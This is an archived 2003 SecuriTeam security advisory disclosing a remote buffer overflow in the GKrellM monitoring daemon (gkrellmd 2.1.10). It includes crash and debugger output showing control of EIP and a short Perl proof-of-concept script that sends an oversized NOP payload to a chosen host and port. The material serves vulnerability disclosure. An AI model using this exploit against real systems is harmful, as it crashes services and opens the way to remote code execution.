[UNIX] GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/24/03

  • Next message: SecuriTeam: "[UNIX] myServer Vulnerable to Multiple Slashes Vulnerability (///..///)"
    To: list@securiteam.com
    Date: 24 Jun 2003 17:45:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      GKrellM Vulnerable to Remotely Exploitable Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://web.wt.net/~billw/gkrellm/gkrellm.html> GKrellM is a single
    process stack of system monitors which supports applying themes to match
    its appearance to your window manager, Gtk, or any other theme. The daemon
    has been found to contain a security vulnerability that allows remote
    attackers to cause the daemon to crash, while executing arbitrary code.

    DETAILS

    When someone sends data to the GKrellMd, GKrellMd uses buffers to store
    this data, however, it doesn't check for the maximum buffersize
    (128bytes). This can result in remote executing of code and crashing of
    the daemon.

    Example:
    Verbose GKrellMd output:
    cyride-bash# gkrellmd -P 661 -V
    update_HZ=3
    connect string from client: gkrellm 2.1.10
    gkrellmd accepted client: dwop.darkwired.da.ru:43755
    received 141 bytes:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAA
    Segmentation fault (core dumped)

    Debugger output (eip):
    cyride-bash# gdb gkrellmd gkrellmd.core
    (gdb) info reg
    eip 0x41414141 0x41414141

    Vendor status:
    The vendor has been contacted on 22-06-2003.

    Proof of concept:
    gkrellmcrash.pl:
    #!/usr/bin/perl -s
    use IO::Socket;
    #
    # proof of concept code
    # tested: grkellmd 2.1.10
    #

    if(!$ARGV[0] || !$ARGV[1])
     { print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }

    $host = $ARGV[0];
    $port = $ARGV[1];
    $exploitstring = "\x90"x156;
    $eip = "BCDE";

    $socket = new IO::Socket::INET (
     Proto => "tcp",
     PeerAddr => $host,
     PeerPort => $port);

    die "unable to connect to $host:$port ($!)\n" unless $socket;

    print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
    sleep(1);
    print $socket $exploitstring, $eip;

    close($socket);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dodo@darkwired.ath.cx> dodo.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] myServer Vulnerable to Multiple Slashes Vulnerability (///..///)"

    Relevant Pages

    • Re: Our mutual border
      ... Homeland Security was incompetent in allowing 9/11 to happen. ... It's like taking Canada to task for the Ice Age. ... Sometimes politicians say really ignorant things, ...
      (rec.food.cooking)
    • George Galloway banned from Canada
      ... Anti-war MP banned on grounds of national security. ... Anti-war MP George Galloway has been banned from Canada, ... A spokesman for Citizenship and Immigration Canada said the decision ...
      (soc.culture.scottish)
    • Religion of Peace Trying to Blow Up Canada -- 17 Moslems Busted
      ... It seems Canada has been paying attention after all. ... Police seized bomb-making materials in a series of raids in Toronto, ... Canada's security and intelligence measures worked. ... Police said those arrested on Friday were all Canadian residents "of ...
      (alt.religion.islam)
    • Re: Where should processing be done was Re: IBM Software Secure Support via USA Citizens
      ... Even if they're doing business in the US, I would strongly recommend keeping Canadian data in Canada. ... While security for the US is important to the US, it does not give them the right to trump another country's security. ... Another example is that the US now requires all the security information of any flight to/from/within Canada to be supplied to them, if the flight path happens to cross over any US air-space. ... When I am contracting on the ...
      (bit.listserv.ibm-main)
    • Re: University Search
      ... I am not aware of any universities in Canada that offer a degree in information security. ... you would need a student visa to come to Canada and study. ... be transferable to offset some of the credits for say a Comp Sci degree. ...
      (Security-Basics)

  • Quantcast